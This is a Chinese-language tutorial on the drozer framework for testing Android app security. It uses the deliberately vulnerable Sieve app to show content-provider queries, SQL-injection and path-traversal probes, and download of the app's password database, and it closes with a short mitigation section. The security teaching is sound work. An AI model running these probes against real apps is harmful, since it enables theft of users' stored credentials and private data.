作者:
小樂天
·
2014/09/16 18:07
0x01 準備工作
測試環境:
1) 手機root許可權
2) Adb.exe
3) 手機usb連線開啟debug模式(在設定>關於手機>連續點選多次版本號,即可開啟開發者模式)
4) Window下安裝drozer
5) 安裝完drozer後在其目錄下把agent.apk安裝到手機
6) WebContentResolver.apk
7) 附帶測試案例使用app sieve
0x02 drozer安裝與使用
安裝
1) windows安裝 下載:
https://www.mwrinfosecurity.com/products/drozer/community-edition/
在Android裝置中安裝agent.apk:
#!bash
>adb install agent.apk
或者直接連線USB把檔案移動到記憶體卡中安裝
2) *inux安裝(Debian/Mac)
#!bash
$ wget http://pypi.python.org/packages/2.7/s/setuptools/setuptools-0.6c11-py2.7.egg
$ sh setuptools-0.6c11-py2.7.egg
$ easy_install --allow-hosts pypi.python.org protobuf
$ easy_install twisted==10.2.0
$ easy_install twisted ./drozer-2.3.0-py2.7.egg
$ drozer //執行測試
下面介紹三種方法執行
1) USB方式
#!bash
>adb forward tcp:31415 tcp:31415 //adb目錄下執行次命令
選擇drozer>Embedded Server>Enabled
>drozer.bat console connect //在PC端drozer目錄下執行此命令
2) Wifi方式
#!bash
>drozer.bat console connect --server 192.168.1.12:31415 //在PC端執行192.168.1.12為android端ip和埠
3) Infrastructure Mode 這種模式涉及到三個通訊方,drozer server、drozer agent(Android 裝置中)與drozer console。
其中server與agent,server與console需要網路互通。這種模式的好處是你不需要知道android裝置的ip,
agent與console的ip段可以隔離的,並且可以支援一個server對應多個裝置的操作。
#!bash
>drozer.bat server start
在Android裝置上新建一個New Endpoint,修改配置Host為PC server端ip,並且啟用Endpoint
#!bash
>drozer console connect --server 192.168.1.2:31415 //192.168.1.2為server端ip和埠
使用
> list //列出目前可用的模組,也可以使用ls
> help app.activity.forintent //檢視指定模組的幫助資訊
> run app.package.list //列出android裝置中安裝的app
> run app.package.info -a com.android.browser //檢視指定app的基本資訊
> run app.activity.info -a com.android.browser //列出app中的activity元件
> run app.activity.start --action android.intent.action.VIEW --data-uri http://www.google.com //開啟一個activity,例如執行瀏覽器開啟谷歌頁面
> run scanner.provider.finduris -a com.sina.weibo //查詢可以讀取的Content Provider
> run app.provider.query content://settings/secure --selection "name='adb_enabled'" //讀取指定Content Provider內容
> run scanner.misc.writablefiles --privileged /data/data/com.sina.weibo //列出指定檔案路徑裡全域性可寫/可讀的檔案
> run shell.start //shell操作
> run tools.setup.busybox //安裝busybox
> list auxiliary //透過web的方式檢視content provider元件的相關內容
> help auxiliary.webcontentresolver //webcontentresolver幫助
> run auxiliary.webcontentresolver //執行在瀏覽器中以http://localhost:8080即可訪問
以sieve示例
> run app.package.list -f sieve //查詢sieve應用程式
> run app.package.info -a com.mwr.example.sieve //顯示app.package.info命令包的基本資訊
> run app.package.attacksurface com.mwr.example.sieve //確定攻擊面
> run app.activity.info -a com.mwr.example.sieve //獲取activity資訊
> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList //啟動pwlist
> run app.provider.info -a com.mwr.example.sieve //提供商資訊
> run scanner.provider.finduris -a com.mwr.example.sieve //掃描所有能訪問地址
>run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/--vertical //檢視DBContentProvider/Passwords這條可執行地址
> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'" //檢測注入
> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts //檢視讀許可權資料
> run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db /home/user/database.db //下載資料
> run scanner.provider.injection -a com.mwr.example.sieve //掃描注入地址
> run scanner.provider.traversal -a com.mwr.example.sieve
> run app.service.info -a com.mwr.example.sieve //檢視服務
0x03 Android App Injection
1) 首先用drozer掃描Android應用可注入的Url
#!bash
Dz > run scanner.provider.injection
2) 啟動WebContentResolver.apk應用程式,Web介面訪問url格式如下
http://localhost:8080/query?a=providers&path0=Parameter1&path1=Parameter2&pathn=parametern&selName=column&selId=id
解釋: providers:為content://後第一個引數比如records Parameter1:為第二個引數operations Parameter2..parametern:為後門的依次類推的引數,如果後面有這麼多引數 Column:表欄位例如上面欄位<_id> Id:為欄位資料
注意:格式必須是這樣,selName、selId這兩個引數第二個單詞是大寫的。
3) 在PC端執行adb
#!bash
>adb forward tcp:8080 tcp:8080 //此時在位址列輸入http://localhost:8080即可訪問Web介面
4) 以content://settings/bookmarks/為例,在位址列輸入
http://localhost:8080/query?a=settings&path0=bookmarks&selName=_id&selId=1
5) 自動化結合SQLMAP
0x04 總結&&解決方案
總結:雖然很多小夥說直接用檔案管理進去檢視資料庫更方便,我也不多說什麼,就像上次看到一帖子為了檢視wifi密碼寫了一大篇的,直接進去資料庫看不就是了,我能呵呵一句麼。 避免這個漏洞方法只需要指定標誌讀取許可權和限制寫入許可權。如果我們不想共享儲存第三方應用程式記錄,另一個解決方案可以消除provider或將其設定為false。
0x05 參考:
- https://labs.mwrinfosecurity.com/blog/2011/12/02/how-to-find-android-0day-in-no-time/
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!